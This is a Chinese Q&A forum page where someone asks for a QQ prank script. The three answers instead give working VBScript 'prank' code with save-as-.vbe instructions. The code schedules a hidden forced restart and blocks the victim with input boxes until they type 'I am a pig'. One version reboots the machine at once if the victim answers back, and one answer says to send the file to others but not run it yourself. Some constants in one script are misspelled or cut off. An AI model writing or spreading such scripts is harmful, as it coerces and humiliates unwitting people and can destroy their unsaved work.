Question

整人代码VBE 在QQ中发我是猪给别人的

就是能自动QQ中发我是猪的 ^_^
不是关机的= = 是能弹出QQ聊天框 输入 我是猪的。dpi

都说不是关机的 还shutdown出来

Answer 1

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是帅哥，不说我是帅哥就半分钟关你机，不信，试试? ??"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪狗,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真好玩"

Answer 2

开始〉程序〉附件〉记事本 复制以下内容到记事本，保存以后把后缀改为.vbe
看不见后缀的话点击 我的电脑〉工具〉文件夹选项〉查看 去掉“隐藏有几只文件的扩展名”前面的钩，就能看到后缀了。（不要输入成2.vbe.txt，记着要把.txt删掉）
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说“我是猪”就会关机，不信邪的你可以试下。"" ",0 ,true
dim a
do while(a <> "我是猪") '通过检查变量a是否不等于”我是猪“来判断
a = inputbox ("说我是猪,就可以不关机，快点，说 ""我是猪"" ","好好考虑吧……","你才是",8000,7000)
if a="你才是"then
if df<>"yes" then
dim df
df="yes"
msgbox "敢骂我，你再骂一次试看看！",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
else
msgbox "好哇，天堂有路你不走，关机无门你偏来，关机吧~~~",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""说我是猪，不说“我是猪”就会关机，不信……试下。"" ",0 ,true
end if
end if
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + "早说不就行了嘛",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
msgbox chr(13) + "哈哈哈哈，人才，人才呀",vbApplicationModa+VbMsgBoxSetFore+vbSystemMod

Answer 3

打开开始程序/附件/记事本新建一个文本文档复制以下内容：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

从这里开始不要复制了！！！最后保存，再把文本的后缀名改为.vbe格式（一般默认的都是.txt）
发给别人试试吧 自己就不要试了!